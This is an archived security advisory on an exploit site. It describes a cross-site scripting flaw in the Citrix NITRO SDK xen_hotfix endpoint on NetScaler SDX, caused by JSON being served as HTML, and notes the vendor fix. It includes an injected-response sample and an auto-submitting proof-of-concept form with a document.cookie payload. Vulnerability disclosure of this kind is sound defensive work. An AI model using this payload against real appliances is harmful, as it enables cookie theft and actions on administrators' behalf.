what you don't know can hurt you

Citrix NITRO SDK xen_hotfix Cross Site Scripting

Citrix NITRO SDK xen_hotfix Cross Site Scripting
Posted Mar 20, 2015
Authored by Han Sahin

A cross site scripting vulnerability was found in the xen_hotfix page of the Citrix NITRO SDK.

tags | exploit, xss
MD5 | 1579db71b1b93c28ae8678b57f16a887

Citrix NITRO SDK xen_hotfix Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Citrix NITRO SDK xen_hotfix page is vulnerable to Cross-Site Scripting
------------------------------------------------------------------------
Han Sahin, August 2014

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the xen_hotfix page of
the Citrix NITRO SDK. This issue allows attackers to perform a wide
variety of actions, such as stealing the victim's session token or login
credentials, performing arbitrary actions on the victim's behalf, and
logging their keystrokes.

------------------------------------------------------------------------
Tested version
------------------------------------------------------------------------
This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9;,
other versions may also be affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Citrix reports that this vulnerability is fixed in NetScaler 10.5 build
52.3nc.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20140805/citrix_nitro_sdk_xen_hotfix_page_is_vulnerable_to_cross_site_scripting.html


The Cross-Site Scripting vulnerability exists because the REST interface returns an incorrect Content-Type HTTP response header. The interfaces states that the content returned is HTML, while in fact it is JSON. Due to this it is possible to cause browser to render the JSON response as HTML. User input included in the JSON response is JSON encoded, not HTML encoded. Due to this, it is possible to inject arbitrary HTML content in the JSON data that will be rendered and executed by the browser.

This issue is exploitable on the /nitro/v1/config/xen_hotfix page through the file_name parameter. Below is an example HTTP response in which this issue is demonstrated.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Wed, 16 Jul 2014 13:54:53 GMT

{ "errorcode": 16004, "message": "Failed to obtain uuid for hotfix cmd.xsupdate<img src=a onerror=alert(document.cookie)>, error string = 'xe patch-upload file-name=\"\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>\"\r\nOperation failed. Error: file '\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>' does not exist\r\n\u001b]0;root@NetScaler-sdx:~\u0007[root@NetScaler-sdx ~]#'", "severity": "ERROR" }

Proof of concept:
<html>
<body>
<form id="form" method="POST" action="https://<target>/nitro/v1/config/xen_hotfix" enctype="text/plain">
<input type="hidden" name="object" value='{"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a [{"file_name"%3a" cmd.xsupdate<img%20src%3da%20onerror%3dalert(document.cookie)>"}]}' />
<input type="submit" value="submit">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    10 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close